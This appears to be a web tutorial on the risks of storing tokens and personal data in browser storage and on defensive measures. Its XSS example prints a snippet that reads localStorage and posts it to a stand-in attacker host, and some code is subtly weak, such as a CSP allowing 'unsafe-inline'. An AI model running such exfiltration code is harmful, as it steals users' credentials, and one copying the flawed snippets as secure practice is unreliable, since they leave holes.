The issue of storing sensitive information on the frontend
Sensitive Information Storage Issues in Frontend Development
The storage of sensitive information in frontend development has always been a challenging problem. The browser environment is open and vulnerable to attacks, and improper storage methods can lead to security risks such as data leaks, XSS attacks, or CSRF attacks.
Definition and Classification of Sensitive Information
Sensitive information typically includes but is not limited to the following types:
- User Credentials: Login tokens, session IDs, OAuth tokens
- Personally Identifiable Information (PII): ID numbers, phone numbers, bank card details
- Business-Sensitive Data: Unencrypted API keys, internal system addresses
- Permission-Related Data: User roles, access control lists (ACLs)
// Example of incorrect sensitive information storage
const user = {
id: 123,
name: "Zhang San",
token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
creditCard: "622588******1234"
};
localStorage.setItem("user", JSON.stringify(user));
Common Storage Methods and Their Risks
1. localStorage/sessionStorage
Features:
- Restricted by same-origin policy
- Persistent storage (localStorage) or session-level storage (sessionStorage)
- Storage capacity of approximately 5MB
Risks:
- XSS attacks can directly read all content
- No automatic expiration mechanism
- Data is stored in plaintext
// Example of an XSS attack
const stolenData = localStorage.getItem("user");
fetch("https://attacker.com/steal", {
method: "POST",
body: stolenData
});
2. Cookies
Features:
- Can set attributes like HttpOnly, Secure, and SameSite
- Size limit (approximately 4KB)
- Automatically sent with requests
Risks:
- Can be read via JavaScript if HttpOnly is not set
- CSRF attack risk
- Subdomain sharing issues
// Example of secure cookie settings (server-side)
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600
3. IndexedDB
Features:
- Asynchronous key-value storage
- Supports transactions
- Large storage capacity (typically 50MB+)
Risks:
- Still vulnerable to XSS threats
- Complex queries may expose sensitive data
- Requires manual encryption
Secure Storage Best Practices
1. Principle of Minimal Storage
Store only necessary information and minimize validity periods:
// Store only essential fields
const safeUserData = {
id: 123,
name: "Zhang San",
// Do not store the full token
auth: {
expires: 1630000000,
// Store only a token fragment
hint: "eyJ...1234"
}
};
2. Encrypted Storage
Use the Web Crypto API for client-side encryption:
async function encryptData(data, password) {
const enc = new TextEncoder();
const keyMaterial = await window.crypto.subtle.importKey(
"raw",
enc.encode(password),
{ name: "PBKDF2" },
false,
["deriveKey"]
);
const salt = window.crypto.getRandomValues(new Uint8Array(16));
const key = await window.crypto.subtle.deriveKey(
{
name: "PBKDF2",
salt,
iterations: 100000,
hash: "SHA-256"
},
keyMaterial,
{ name: "AES-GCM", length: 256 },
false,
["encrypt", "decrypt"]
);
const iv = window.crypto.getRandomValues(new Uint8Array(12));
const encrypted = await window.crypto.subtle.encrypt(
{ name: "AES-GCM", iv },
key,
enc.encode(JSON.stringify(data))
);
return {
salt: Array.from(salt),
iv: Array.from(iv),
data: Array.from(new Uint8Array(encrypted))
};
}
3. Secure Token Design
Use a short-term token + refresh token mechanism:
// Example token structure
{
"jti": "a1b2c3", // Unique identifier
"sub": "user123", // User ID
"exp": 1629993600, // Short-term expiration (1 hour)
"scope": "read:profile", // Minimal permissions
"iss": "your-api" // Issuer
}
Additional Measures to Defend Against XSS Attacks
- Content Security Policy (CSP):
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline'">
- Input Filtering and Output Encoding:
function sanitize(input) {
const div = document.createElement("div");
div.textContent = input;
return div.innerHTML;
}
- Protection in Modern Frameworks:
// React automatically escapes content
const userInput = "<script>alert('xss')</script>";
return <div>{userInput}</div>;
Memory Management for Sensitive Data
Even without persistent storage, sensitive data in memory needs protection:
// Use WeakMap to reduce exposure
const sensitiveData = new WeakMap();
class UserSession {
constructor(token) {
sensitiveData.set(this, { token });
}
getToken() {
const data = sensitiveData.get(this);
return data ? data.token : null;
}
clear() {
sensitiveData.delete(this);
// Overwrite memory references
this._temp = Array(1000).fill("\x00");
}
}
Risks of Browser Extensions
Browser extensions can access page DOM and storage:
// Extension content scripts may steal data
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request.action === "getStorage") {
sendResponse(localStorage.getItem(request.key));
}
});
Protective Measures:
- Avoid handling sensitive data in extension pages
- Use isolated storage partitions
- Implement the principle of least privilege
Special Considerations for Mobile Hybrid Apps
Hybrid apps (e.g., Cordova) require extra attention:
- Plugin Security:
<!-- config.xml should restrict permissions -->
<plugin name="cordova-plugin-file" spec="^6.0.0" />
<preference name="AndroidInsecureFileModeEnabled" value="false" />
- WebView Hardening:
// Android WebView settings
webView.getSettings().setAllowFileAccess(false);
webView.getSettings().setJavaScriptEnabled(false);
Compliance Requirements
Under regulations like GDPR and CCPA:
- Explicit user consent is required before storing data
- Provide data-clearing interfaces
- Maintain logs of data processing
// User consent management
class ConsentManager {
constructor() {
this.consents = {
storage: false,
analytics: false
};
}
grantConsent(type) {
this.consents[type] = true;
// Write to read-only DOM attributes
document.documentElement.dataset[`consent-${type}`] = "granted";
}
}
Monitoring and Incident Response
Establish storage security monitoring mechanisms:
// Storage access monitoring
const originalSetItem = localStorage.setItem;
localStorage.setItem = function(key, value) {
if (key.includes("token") || key.includes("auth")) {
logSecurityEvent("SensitiveStorageAccess", { key });
}
return originalSetItem.apply(this, arguments);
};
function logSecurityEvent(type, metadata) {
navigator.sendBeacon("/security-log", {
type,
metadata,
timestamp: Date.now()
});
}
Differences Between Development and Production Environments
Avoid using real sensitive data in development environments:
// Webpack environment variable injection
plugins: [
new webpack.DefinePlugin({
__SECURE_STORAGE__: JSON.stringify(
process.env.NODE_ENV === "production"
? "window._secureStorage"
: "window._mockStorage"
)
})
]
Emerging Technologies and Their Applications
- WebAssembly Encryption:
// Implement encryption in C++ (compiled to wasm)
EMSCRIPTEN_KEEPALIVE
void encrypt_data(char* input, int length) {
// Encryption algorithm implementation...
}
- Trusted Types API:
// Enable Trusted Types
if (window.trustedTypes) {
const policy = trustedTypes.createPolicy("storagePolicy", {
createHTML: input => sanitize(input)
});
}
- Web Locks API to Prevent Race Conditions:
navigator.locks.request("auth-token", async lock => {
const token = await getFreshToken();
// Securely update the token
});
Case Study Analysis
An e-commerce platform token leak incident:
Wrong Approach:
// Store the full JWT in localStorage
localStorage.setItem("auth", "eyJhbGciOiJIUzI1NiIs...");
// Page JS directly reads and uses it
const token = localStorage.getItem("auth");
Solution:
- Switch to HttpOnly cookies for storage
- Implement a dual-token mechanism (accessToken + refreshToken)
- Add fingerprint binding:
// Generate browser fingerprint
const fpPromise = import("https://openfpcdn.io/fingerprintjs/v3")
.then(FingerprintJS => FingerprintJS.load());
fpPromise.then(fp => fp.get())
.then(result => {
// Associate fingerprint hash with the token
storeEncrypted("fp_hash", result.visitorId);
});
本站部分内容来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn